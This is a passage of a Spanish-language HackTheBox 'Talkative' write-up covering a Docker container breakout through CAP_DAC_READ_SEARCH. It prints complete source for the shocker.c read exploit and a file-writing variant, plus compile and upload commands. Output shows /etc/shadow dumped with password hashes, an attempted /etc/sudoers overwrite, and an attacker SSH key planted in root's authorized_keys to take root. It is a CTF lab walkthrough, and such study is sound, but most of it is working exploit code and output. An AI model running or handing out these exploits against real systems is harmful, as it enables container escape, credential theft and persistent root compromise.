 81        for (uint32_t i = 0; i < 0xffffffff; ++i) {
 82            outh.handle_bytes = 8;
 83            outh.handle_type = 1;
 84            memcpy(outh.f_handle, &ino, sizeof(ino));
 85            memcpy(outh.f_handle + 4, &i, sizeof(i));
 86            if ((i % (1<<20)) == 0)
 87                fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
 88            if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
 89                closedir(dir);
 90                close(fd);
 91                dump_handle(&outh);
 92                return find_handle(bfd, path, &outh, oh);
 93            }
 94        }
 95    }
 96    closedir(dir);
 97    close(fd);
 98    return 0;
 99}
100
101
102int main(int argc,char* argv[] )
103{
104    char buf[0x1000];
105    int fd1, fd2;
106    struct my_file_handle h;
107    struct my_file_handle root_h = {
108        .handle_bytes = 8,
109        .handle_type = 1,
110        .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
111    };
112    
113    fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
114    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
115    "[***] If you have pending sec consulting, I'll happily [***]\n"
116    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
117    
118    read(0, buf, 1);
119    
120    // get a FS reference from something mounted in from outside
121    if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
122        die("[-] open");
123    
124    if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
125        die("[-] Cannot find valid handle!");
126    
127    fprintf(stderr, "[!] Got a final handle!\n");
128    dump_handle(&h);
129    
130    if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
131        die("[-] open_by_handle");
132    
133    memset(buf, 0, sizeof(buf));
134    if (read(fd2, buf, sizeof(buf) - 1) < 0)
135        die("[-] read");
136    
137    printf("Success!!\n");
138    
139    FILE *fptr;
140    fptr = fopen(argv[2], "w");
141    fprintf(fptr,"%s", buf);
142    fclose(fptr);
143    
144    close(fd2); close(fd1);
145    
146    return 0;
147}

Como no soy un gran experto en C. Podemos pedirle a ChatGPT que nos explique que hace el script de forma detallada.

  1. Funciones Clave:

    • die(const char *msg): Muestra un mensaje de error y termina el programa.
    • dump_handle(const struct my_file_handle *h): Imprime los detalles de un identificador de archivo.
    • find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh):
      • Recursivamente encuentra el identificador de un archivo basado en un camino (path) dado.
      • Utiliza open_by_handle_at para abrir directorios y archivos mediante identificadores.
      • Realiza una búsqueda exhaustiva (brute force) para encontrar el identificador correcto del archivo deseado.
  2. Función Principal (main):

    • Imprime un mensaje de introducción indicando que es un exploit.
    • Espera una entrada del usuario para continuar.
    • Abre /etc/hostname para obtener una referencia a un archivo del host. Este archivo debe estar montado dentro del contenedor.
    • Usa find_handle para encontrar el identificador del archivo especificado en argv[1] (por ejemplo, /etc/shadow).
    • Si encuentra un identificador válido, abre el archivo con open_by_handle_at.
    • Lee el contenido del archivo y lo guarda en un buffer.
    • Escribe el contenido del buffer en un archivo especificado en argv[2] (por ejemplo, shadow).
    • Cierra los archivos y termina.

Requisitos para que el Exploit Funcione

  1. Montaje del Sistema de Archivos del Host:

    • El contenedor debe tener acceso a un archivo del sistema de archivos del host que esté montado dentro del contenedor. En este caso, se usa /etc/hostname.
  2. Privilegios y Capacidades del Contenedor:

    • El contenedor debe tener suficientes privilegios para usar open_by_handle_at. Esto generalmente requiere que el contenedor tenga capacidades elevadas, como CAP_DAC_READ_SEARCH, CAP_SYS_ADMIN y CAP_DAC_OVERRIDE.
    • El contenedor debe poder usar fdopendir, readdir y otras llamadas del sistema relacionadas con la manipulación de directorios y archivos.
  3. Kernel del Sistema Operativo:

    • El sistema operativo del host debe soportar la llamada al sistema open_by_handle_at, que es una característica específica de kernels de Linux.
  4. Sin Restricciones de Seguridad Adicionales:

    • No debe haber restricciones de seguridad adicionales que impidan el acceso a open_by_handle_at desde el contenedor. Esto incluye configuraciones de seguridad como SELinux, AppArmor u otras políticas de seguridad que podrían bloquear estas operaciones.

Una vez tenemos este script en nuestra máquina de atacante, tenemos que modificar el script para indicar que archivo queremos abrir como referencia, para que el script sepa que la máquina es vulnerable. Write-up Image

En mi caso, vamos a elegir el /etc/hosts ya que como la máquina víctima es linux, sabemos que existe este archivo. Write-up Image

Ahora compilamos el script.

1 gcc -Wall -std=c99 -O2 shocker.c -static -o shocker

Lo subimos a la máquina víctima

1(local) pwncat$ upload shocker /tmp/shocker
2/tmp/shocker ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 767.1/767.1 KB • ? • 0:00:00
3[23:21:17] uploaded 767.10KiB in 0.77 seconds
 1(remote) root@c150397ccd63:/tmp# ./shocker /etc/hosts hosts
 2[***] docker VMM-container breakout Po(C) 2014             [***]
 3[***] The tea from the 90's kicks your sekurity again.     [***]
 4[***] If you have pending sec consulting, I'll happily     [***]
 5[***] forward to my friends who drink secury-tea too!      [***]
 6[*] Resolving 'etc/shadow'
 7[*] Found lib32
 8[*] Found ..
 9[*] Found lost+found
10[*] Found sbin
11[*] Found bin
12[*] Found boot
13[*] Found dev
14[*] Found run
15[*] Found lib64
16[*] Found .
17[*] Found var
18[*] Found home
19[*] Found media
20[*] Found proc
21[*] Found etc
22[+] Match: etc ino=393217
23[*] Brute forcing remaining 32bit. This can take a while...
24[*] (etc) Trying: 0x00000000
25[*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
26[*] Resolving 'shadow'
27[*] Found modules-load.d
28[*] Found lsb-release
29[*] Found rsyslog.conf
30[*] Found rc6.d
31[*] Found calendar
32[*] Found fstab
33[*] Found shadow
34[+] Match: shadow ino=393228
35[*] Brute forcing remaining 32bit. This can take a while...
36[*] (shadow) Trying: 0x00000000
37[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
38[!] Got a final handle!
39[*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
40[!] Win! /etc/shadow output follows:
41root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7:::
42daemon:*:18659:0:99999:7:::
43bin:*:18659:0:99999:7:::
44sys:*:18659:0:99999:7:::
45sync:*:18659:0:99999:7:::
46games:*:18659:0:99999:7:::
47man:*:18659:0:99999:7:::
48lp:*:18659:0:99999:7:::
49mail:*:18659:0:99999:7:::
50news:*:18659:0:99999:7:::
51uucp:*:18659:0:99999:7:::
52proxy:*:18659:0:99999:7:::
53www-data:*:18659:0:99999:7:::
54backup:*:18659:0:99999:7:::
55list:*:18659:0:99999:7:::
56irc:*:18659:0:99999:7:::
57gnats:*:18659:0:99999:7:::
58nobody:*:18659:0:99999:7:::
59systemd-network:*:18659:0:99999:7:::
60systemd-resolve:*:18659:0:99999:7:::
61systemd-timesync:*:18659:0:99999:7:::
62messagebus:*:18659:0:99999:7:::
63syslog:*:18659:0:99999:7:::
64_apt:*:18659:0:99999:7:::
65tss:*:18659:0:99999:7:::
66uuidd:*:18659:0:99999:7:::
67tcpdump:*:18659:0:99999:7:::
68landscape:*:18659:0:99999:7:::
69pollinate:*:18659:0:99999:7:::
70usbmux:*:18849:0:99999:7:::
71sshd:*:18849:0:99999:7:::
72systemd-coredump:!!:18849::::::
73lxd:!:18849::::::
74saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::

¡Y perfecto!

Ahora podríamos modificar el archivo que intenta abrir el script, para ver la flag de superusuario. Write-up Image

Compilamos el binario, lo subimos, lo ejecutamos y…

 1(remote) root@c150397ccd63:/tmp# ./shocker 
 2[***] docker VMM-container breakout Po(C) 2014             [***]
 3[***] The tea from the 90's kicks your sekurity again.     [***]
 4[***] If you have pending sec consulting, I'll happily     [***]
 5[***] forward to my friends who drink secury-tea too!      [***]
 6[*] Resolving 'root/root.txt'
 7[*] Found lib32
 8[*] Found ..
 9[*] Found lost+found
10[*] Found sbin
11[*] Found bin
12[*] Found boot
13[*] Found dev
14[*] Found run
15[*] Found lib64
16[*] Found .
17[*] Found var
18[*] Found home
19[*] Found media
20[*] Found proc
21[*] Found etc
22[*] Found lib
23[*] Found libx32
24[*] Found cdrom
25[*] Found root
26[+] Match: root ino=18
27[*] Brute forcing remaining 32bit. This can take a while...
28[*] (root) Trying: 0x00000000
29[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
30[*] Resolving 'root.txt'
31[*] Found ..
32[*] Found .backup
33[*] Found .config
34[*] Found .cache
35[*] Found .local
36[*] Found .ssh
37[*] Found .
38[*] Found .profile
39[*] Found .bashrc
40[*] Found root.txt
41[+] Match: root.txt ino=110097
42[*] Brute forcing remaining 32bit. This can take a while...
43[*] (root.txt) Trying: 0x00000000
44[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
45[!] Got a final handle!
46[*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
47[!] Win! /etc/shadow output follows:
485f8e5df33844d437...

¡Y podemos leer la flag!

A mi este tipo de cosas no me gusta, por lo cual quiero ganar una consola interactiva en la máquina víctima.

En HackTricks, podemos ver un script modificado que nos permitiría escribir archivos.

  1#include <stdio.h>
  2#include <sys/types.h>
  3#include <sys/stat.h>
  4#include <fcntl.h>
  5#include <errno.h>
  6#include <stdlib.h>
  7#include <string.h>
  8#include <unistd.h>
  9#include <dirent.h>
 10#include <stdint.h>
 11
 12// gcc shocker_write.c -o shocker_write
 13// ./shocker_write /etc/passwd passwd 
 14
 15struct my_file_handle {
 16  unsigned int handle_bytes;
 17  int handle_type;
 18  unsigned char f_handle[8];
 19};
 20void die(const char * msg) {
 21  perror(msg);
 22  exit(errno);
 23}
 24void dump_handle(const struct my_file_handle * h) {
 25  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
 26    h -> handle_type);
 27  for (int i = 0; i < h -> handle_bytes; ++i) {
 28    fprintf(stderr, "0x%02x", h -> f_handle[i]);
 29    if ((i + 1) % 20 == 0)
 30      fprintf(stderr, "\n");
 31    if (i < h -> handle_bytes - 1)
 32      fprintf(stderr, ", ");
 33  }
 34  fprintf(stderr, "};\n");
 35} 
 36int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
 37{
 38  int fd;
 39  uint32_t ino = 0;
 40  struct my_file_handle outh = {
 41    .handle_bytes = 8,
 42    .handle_type = 1
 43  };
 44  DIR * dir = NULL;
 45  struct dirent * de = NULL;
 46  path = strchr(path, '/');
 47  // recursion stops if path has been resolved
 48  if (!path) {
 49    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
 50    oh -> handle_type = 1;
 51    oh -> handle_bytes = 8;
 52    return 1;
 53  }
 54  ++path;
 55  fprintf(stderr, "[*] Resolving '%s'\n", path);
 56  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
 57    die("[-] open_by_handle_at");
 58  if ((dir = fdopendir(fd)) == NULL)
 59    die("[-] fdopendir");
 60  for (;;) {
 61    de = readdir(dir);
 62    if (!de)
 63      break;
 64    fprintf(stderr, "[*] Found %s\n", de -> d_name);
 65    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
 66      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
 67      ino = de -> d_ino;
 68      break;
 69    }
 70  }
 71  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
 72  if (de) {
 73    for (uint32_t i = 0; i < 0xffffffff; ++i) {
 74      outh.handle_bytes = 8;
 75      outh.handle_type = 1;
 76      memcpy(outh.f_handle, & ino, sizeof(ino));
 77      memcpy(outh.f_handle + 4, & i, sizeof(i));
 78      if ((i % (1 << 20)) == 0)
 79        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
 80      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
 81        closedir(dir);
 82        close(fd);
 83        dump_handle( & outh);
 84        return find_handle(bfd, path, & outh, oh);
 85      }
 86    }
 87  }
 88  closedir(dir);
 89  close(fd);
 90  return 0;
 91}
 92int main(int argc, char * argv[]) {
 93  char buf[0x1000];
 94  int fd1, fd2;
 95  struct my_file_handle h;
 96  struct my_file_handle root_h = {
 97    .handle_bytes = 8,
 98    .handle_type = 1,
 99    .f_handle = {
100      0x02,
101      0,
102      0,
103      0,
104      0,
105      0,
106      0,
107      0
108    }
109  };
110  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
111    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
112    "[***] If you have pending sec consulting, I'll happily [***]\n"
113    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
114  read(0, buf, 1);
115  // get a FS reference from something mounted in from outside
116  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
117    die("[-] open");
118  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
119    die("[-] Cannot find valid handle!");
120  fprintf(stderr, "[!] Got a final handle!\n");
121  dump_handle( & h);
122  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
123    die("[-] open_by_handle");
124  char * line = NULL;
125  size_t len = 0;
126  FILE * fptr;
127  ssize_t read;
128  fptr = fopen(argv[2], "r");
129  while ((read = getline( & line, & len, fptr)) != -1) {
130    write(fd2, line, read);
131  }
132  printf("Success!!\n");
133  close(fd2);
134  close(fd1);
135  return 0;
136}

Lo que voy a realizar es ver el archivo /etc/sudoers aprovechando esta vulnerabilidad.

Y editar al usuario saul para que tenga permisos para ejecutar como root cualquier comando. Luego, con el script modificado, intentaré escribir el /etc/sudoers y si lo consigo, debería de cerrar sesión en el SSH, iniciar sesión de nuevo y hacer un sudo su como el usuario saul y convertirme en root

Primero compilamos shocker.c para leer el archivo /etc/sudoers Write-up Image

Y al ejecutarlo podemos leerlo

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

Write-up Image

Ahora agregamos al usuario saul para que pueda ejecutar cualquier comando como cualquier usuario.. Write-up Image

Ahora compilamos el script shocker_write.c

1$ gcc -Wall -std=c99 -O2 shocker_write.c -static -o shocker_write

Subimos tanto el sudoers como el binario shocker_write ya compilado

1(local) pwncat$ upload sudoers /tmp/sudoers
2/tmp/sudoers ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 778/778 bytes • ? • 0:00:00
3[23:33:36] uploaded 778.00B in 0.68 seconds                                   upload.py:76
4(local) pwncat$ upload shocker_write /tmp/shocker_write
5/tmp/shocker_write ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.1/17.1 KB • ? • 0:00:00
6[23:34:24] uploaded 17.06KiB in 0.59 seconds
 1(remote) root@c150397ccd63:/tmp# ./shocker_write /etc/sudoers sudoers
 2...
 3[*] Found bash_completion.d
 4[*] Found apt
 5[*] Found services
 6[*] Found udev
 7[*] Found ltrace.conf
 8[*] Found selinux
 9[*] Found multipath
10[*] Found udisks2
11[*] Found sensors3.conf
12[*] Found sudoers
13[+] Match: sudoers ino=393977
14[*] Brute forcing remaining 32bit. This can take a while...
15[*] (sudoers) Trying: 0x00000000
16[*] #=8, 1, char nh[] = {0xf9, 0x02, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
17[!] Got a final handle!
18[*] #=8, 1, char nh[] = {0xf9, 0x02, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
19[-] open_by_handle: Permission denied

Vaya…

1saul@talkative:~$ sudo su
2[sudo] password for saul: 
3saul is not in the sudoers file.  This incident will be reported.

Sin embargo, si intentamos modificar otro archivo como el /etc/hostname por probar…

1(remote) root@c150397ccd63:/tmp# ./shocker_write /etc/hostname test
2...
3[*] #=8, 1, char nh[] = {0x8a, 0x6e, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00};
4Success!!

Vemos que funciona.

1saul@talkative:~$ cat /etc/hostname
2test
3tive

Alternativamente, podemos intentar escribir al archivo /root/.ssh/authorized_keys mi clave publica de atacante, y pasarme la clave privada la consola que tenemos como saul en la máquina víctima, para a través de ahí conectarme por SSH utilizando mi clave privada.

Cogemos mi clave pública id_rsa.pub y la copiamos a la máquina víctima al archivo authorized_keys

1(remote) root@c150397ccd63:/tmp# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs/aNkke9LIHvwrIqFLiLavlSa5gVzvG6EibfhsRDbRY0DLzVMaWw2TmVJ/sjcWBg7DqGFJaJ70cqh7rCX9WYQnUTQUoo2yQ4yRG6UxDOEzD6Yt2JbxEZdsZqX7S1NY33zv9vtI26rLzcMLvLgjux8+dp+cuHqt3ZnBTcH....... pointedsec@parrot" > authorized_keys

Y ahora ejecutamos el exploit, y… ¡esto tiene mejor pinta!

 1(remote) root@c150397ccd63:/tmp# ./shocker_write /root/.ssh/authorized_keys authorized_keys 
 2[***] docker VMM-container breakout Po(C) 2014 [***]
 3[***] The tea from the 90's kicks your sekurity again. [***]
 4[***] If you have pending sec consulting, I'll happily [***]
 5[***] forward to my friends who drink secury-tea too! [***]
 6
 7<enter>
 8
 9[*] Resolving 'root/.ssh/authorized_keys'
10[*] Found lib32
11[*] Found ..
12[*] Found lost+found
13[*] Found sbin
14[*] Found bin
15[*] Found boot
16[*] Found dev
17[*] Found run
18[*] Found lib64
19[*] Found .
20[*] Found var
21[*] Found home
22[*] Found media
23[*] Found proc
24[*] Found etc
25[*] Found lib
26[*] Found libx32
27[*] Found cdrom
28[*] Found root
29[+] Match: root ino=18
30[*] Brute forcing remaining 32bit. This can take a while...
31[*] (root) Trying: 0x00000000
32[*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
33[*] Resolving '.ssh/authorized_keys'
34[*] Found ..
35[*] Found .backup
36[*] Found .config
37[*] Found .cache
38[*] Found .local
39[*] Found .ssh
40[+] Match: .ssh ino=9718
41[*] Brute forcing remaining 32bit. This can take a while...
42[*] (.ssh) Trying: 0x00000000
43[*] #=8, 1, char nh[] = {0xf6, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
44[*] Resolving 'authorized_keys'
45[*] Found ..
46[*] Found id_rsa.pub
47[*] Found .
48[*] Found known_hosts
49[*] Found authorized_keys
50[+] Match: authorized_keys ino=9720
51[*] Brute forcing remaining 32bit. This can take a while...
52[*] (authorized_keys) Trying: 0x00000000
53[*] #=8, 1, char nh[] = {0xf8, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
54[!] Got a final handle!
55[*] #=8, 1, char nh[] = {0xf8, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
56Success!!

Ahora nos compartimos nuestra clave privada de atacante (id_rsa) a la máquina víctima, donde teníamos la sesión con el usuario saul

1$ scp id_rsa saul@127.0.0.1:/tmp/id_rsa
2saul@127.0.0.1's password: 
3id_rsa                                                  100% 2602    56.9KB/s   00:00

Ahora podemos asignar permisos permisos a esta clave privada y utilizando la autenticación por clave asimétrica e intentar iniciar sesión como root en el equipo local (que es la máquina víctima ya que estamos en la sesión SSH con el usuario saul)

 1saul@talkative:/tmp$ chmod 600 id_rsa 
 2saul@talkative:/tmp$ ssh -i id_rsa root@127.0.0.1
 3Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/advantage
 8
 9  System information as of Tue 06 Aug 2024 07:53:16 PM UTC
10
11  System load:                      0.0
12  Usage of /:                       73.4% of 8.80GB
13  Memory usage:                     70%
14  Swap usage:                       29%
15  Processes:                        452
16  Users logged in:                  1
17  IPv4 address for br-ea74c394a147: 172.18.0.1
18  IPv4 address for docker0:         172.17.0.1
19  IPv4 address for eth0:            10.129.222.158
20  IPv6 address for eth0:            dead:beef::250:56ff:fe94:f20
21
22  => There are 43 zombie processes.
23
24
2518 updates can be applied immediately.
268 of these updates are standard security updates.
27To see these additional updates run: apt list --upgradable
28
29
30The list of available updates is more than a week old.
31To check for new updates run: sudo apt update
32Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
33
34
35Last login: Tue Aug  6 19:48:56 2024 from 127.0.0.1
36root@talkative:~# id
37uid=0(root) gid=0(root) groups=0(root)

¡Nos convertimos en root!

Podemos leer la flag de root en condiciones.

1root@talkative:~# cat root.txt
25f8e5df33844d4....

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Talkative   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTML Injection   #Abusing Rj Editor   #Abusing Jamovi   #Docker Breakout   #Escaping Docker   #Information Leakage   #Weaponizing BoltCMS   #Discovering Internal Hosts   #Internal Hosts Enumeration   #Reverse Port Forwarding   #Password Spraying   #Docker Enumeration   #Container Discovering   #MongoDB Enumeration   #Weaponizing RocketChat   #CDK   #Exploiting CAP_DAC_READ_SEARCH With CDK   #Exploiting CAP_DAC_READ_SEARCH Manually (Shocker.c)